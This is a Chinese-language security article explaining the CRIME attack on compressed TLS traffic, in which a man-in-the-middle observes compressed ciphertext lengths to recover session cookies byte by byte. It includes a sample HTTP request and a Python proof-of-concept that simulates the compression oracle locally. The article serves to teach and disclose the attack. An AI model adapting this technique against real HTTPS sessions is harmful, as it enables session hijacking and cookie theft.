CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

crime

2017年5月22日 1868点热度 0人点赞 0条评论
  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

针对SSL最新攻击方法CRIME的原理及技术细节

pnig0s2012-09-14共133656人围观 ,发现 6 个不明物体WEB安全

Author:Pnig0s译[FreeBuf] 

大家可能关注过之前针对SSL的一种攻击手法,名为BEAST.这次依然是发现BEAST的两位大神Juliano Rizzo和Thai Duong发现了另一种新的攻击HTTPS的手法,与之前的相似,被称为“CRIME”。BEAST能够从SSL/TLS加密的会话中获取受害者的COOKIE值(通过进行一次会话劫持攻击)。
BEAST是一种明文攻击通常需要:

中间人(攻击者监听所有加密传输数据)
通过加密连接夹带COOKIE访问
被攻击的域
Adaptive Javascript代码能够向被攻击域发送POST请求

Javascript代码尝试一位一位的暴力破解Cookie的值。中间人组件能够观察到每次破解请求和响应的密文,寻找不同,一旦发现了一个,他会和执行破解的Javascript通信并继续破解下一位。
CRIME 的原理也是相似的:通过在受害者的浏览器中运行JavaScript代码并同时监听HTTPS传输数据,我们能够解密会话Cookie。 Rizzo告诉Threatpost,”我们不需要任何浏览器插件,我们使用Javascript能够事攻击进度加快,但理论上我们其实也可以使用静态的HTML来完成。”但是目前相关CRIME的细节还未被披露,它们会在本月迟些时候发布在Ekoparty。
然而,他们已经推测出这种攻击所依赖的一些因素。事实上,Thomas Pornin在security.stackexchange.com已经基本上正确的指出了相关技术细节。他的假设是Rizzo和Duong滥用了加密传输中的数据压缩方法。这就类似Chromium近期禁用了TLS压缩,也是因为针对这种攻击方式的一种考虑。

基于”压缩”的信息泄露

多亏了CORS(跨域资源共享机制)使我们能够很容易的通过JS跨域发送POST请求并携带任何的请求正文。有一个关于请求头部的限制,我们无法跨域发送和接受Cookie。但是攻击者可以直接构造出下面这样的请求:

POST / HTTP/1.1
Host: thebankserver.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1
Accept: */*
Cookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
POST / HTTP/1.1
Host: thebankserver.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1
Accept: */*
Cookie: secret=?

为了把它简单化,我们在POST请求的正文部分重复了部分POST请求头部的内容。这样就会很好的被压缩。我们要知道大部分的请求头的值(通过fingerprinting进行指纹扫描,查看navigator对象等等),只有Cookie的值是未知的。
但是,在正文中在“secret=”后面加上我们要破解的Cookie的第一位并以此类推,我们可以暴力破解出Cookie的真实值。通过观察所有这些请求被压缩后的密文长度(通过中间人)我们可以观察出其中的不同。密文在充分压缩后会变得更短(更长的字符串会在请求中出现两次)。然后,把这些观察的结果与Js脚本通信并继续破解下一位直到所有的Cookie值被破解出来。 以上是该攻击手法的理论。
PoC或者不可能实现!? 我们没有时间来解释所有关于MITM,Adaptive JS脚本,加密传输的建立等等这些细节,因此Xorninja写了一个脚本来检查经过zlib deflated之后的HTTP请求字符串长度并从中推断出Cookie的真实值。 但是那个脚本并不管用,因此我修改了代码并添加了一段适应性的算法(加密的长度不会每次都改变,因此有时候你不得不在破解某一位时改变POST的请求正文部分)。   而且我的这个脚本确实能够证明上面所讲的理论: POC 可以仅仅基于zlib deflated的字符串长度暴力破解出Cookie的真实值。待破解的Cookie可以为任意长度。
那么接下来呢?这个PoC将会在之后包含所有的SSL/mitm/Javascript 与BEAST类似的上下文环境能够让我们在真实的环境中检查这种攻击方法是否有效。 可以自由的进行实验。我期待着真实的CRIME被泄露出来:)

POC 代码:

# This is supposedly what CRIME by Juliano Rizzo and Thai Duong will do
# Algorithm by Thomas Pornin, coding by xorninja, improved by @kkotowicz
# http://security.blogoverflow.com/2012/09/how-can-you-protect-yourself-from-crime-beasts-successor/

import string
import zlib
import sys
import random

charset = string.letters + string.digits + "%/+="

COOKIE = ''.join(random.choice(charset) for x in range(30))

HEADERS = ("POST / HTTP/1.1\r\n"
       "Host: thebankserver.com\r\n"
           "Connection: keep-alive\r\n"
           "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
           "Accept: */*\r\n"
           "Referer: https://thebankserver.com/\r\n"
           "Cookie: secret=" + COOKIE +  "\r\n"
           "Accept-Encoding: gzip,deflate,sdch\r\n"
           "Accept-Language: en-US,en;q=0.8\r\n"
           "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
           "\r\n")

BODY = ("POST / HTTP/1.1\r\n"
           "Host: thebankserver.com\r\n"
           "Connection: keep-alive\r\n"
           "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
           "Accept: */*\r\n"
           "Referer: https://thebankserver.com/\r\n"
           "Cookie: secret="
         )

BODY_SUFFIX=("\r\n"
           "Accept-Encoding: gzip,deflate,sdch\r\n"
           "Accept-Language: en-US,en;q=0.8\r\n"
           "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
           "\r\n")

cookie = ""

def compress(data):

    c = zlib.compressobj()
    return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)

def findnext(b,bs,charset):
    #print "body len",len(b)
    baselen = len(compress(HEADERS +
                      b +
                      bs))

    possible_chars = []
    for c in charset:
        length = len(compress(HEADERS +
                      b +
                      c +
                      bs))

        #print repr(c), length, baselen

        if length <= baselen:
            possible_chars.append(c)

    #print '=', possible_chars
    return possible_chars

def exit():
    print "Original cookie: %s" % COOKIE
    print "Leaked cookie  : %s" % cookie
    sys.exit(1)

    
def forward():
    global cookie
    while len(cookie) < len(COOKIE):
        chop = 1
        possible_chars = findnext(BODY + cookie, "", charset)
        body_tmp = BODY
        orig = possible_chars
        while not len(possible_chars) == 1:
            if len(body_tmp) < chop:
                #print "stuck at", possible_chars
                return False

            body_tmp = body_tmp[chop:]
            possible_chars = findnext(body_tmp + cookie, "", orig)

        cookie = cookie + possible_chars[0]
    return True

while BODY.find("\r\n") >= 0:
    
    if not forward():
        cookie = cookie[:-1]
    
    if len(cookie) >= len(COOKIE):
        exit()
    print "reducing body"
    BODY = BODY[BODY.find("\r\n") + 2:]

exit()

[译自 kotowicz]

pnig0s

pnig0s68 篇文章等级: 7级
|
|
  • 上一篇:Metasploit自动攻击和选择模块攻击详解
  • 下一篇:PkavProxyPro商业扫描器通用破解程序
发表评论

已有 6 条评论

  • wolfkingzyb (1级) 2012-09-14回复1楼

    围观

    亮了(0)
  • g.r0b1n (5级)黄埔安全学院创始人 2012-09-14回复2楼

    更多细节估计要等开会完才会公布出来,诸如此类的攻击有成功实施过的?期待有模型出来

    亮了(0)
  • syi2005s (1级) 2012-09-15回复3楼

    这是什么代码,不像C的

    亮了(0)
    • luwikes (1级)不死的理想,随指尖飞扬…… 2012-09-15回复

      @syi2005s  python

      亮了(0)
      • syi2005s (1级) 2012-09-16回复

        @luwikes  谢谢了,兄弟

        亮了(0)
  • 黑黑的白猫 (2级) 2013-07-03回复4楼

    围观 学习下

    亮了(0)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

pnig0s

pnig0s

FreeBuf技术处书记

68 篇文章218 条评论

相关阅读

  • 基于RDP的SSL中间人攻击
  • 针对SSL最新攻击方法CRIME的原理及技术细节
  • 新手指南:如何用Ettercap实现“中间人攻击”(附下载链接)
  • 安全科普:什么是中间人攻击(MITM)
  • 用手机从锁定的计算机中偷取凭证信息

特别推荐

关注我们 分享每日精选文章

不容错过

  • 安全扫描神器Acunetix Web Vulnerability Scanner 10发布(含破解版下载)NEURON信息安全团队2015-06-27
  • 四大传奇:中国网络黑客组织general.x2013-10-09
  • 【FreeBuf视频】《安全大咖说》专访赵伟:从屌丝到估值20亿安全公司CEO明明知道2015-05-13
  • 中国安全行业的下一波春天在哪儿?FreeBuf对话威胁情报专家、知名安全投资人金湘宇欧阳洋葱2017-01-16

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月22日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me